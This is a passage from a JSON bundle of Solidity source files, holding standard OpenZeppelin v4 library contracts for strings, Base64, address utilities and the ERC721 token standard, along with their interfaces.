type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
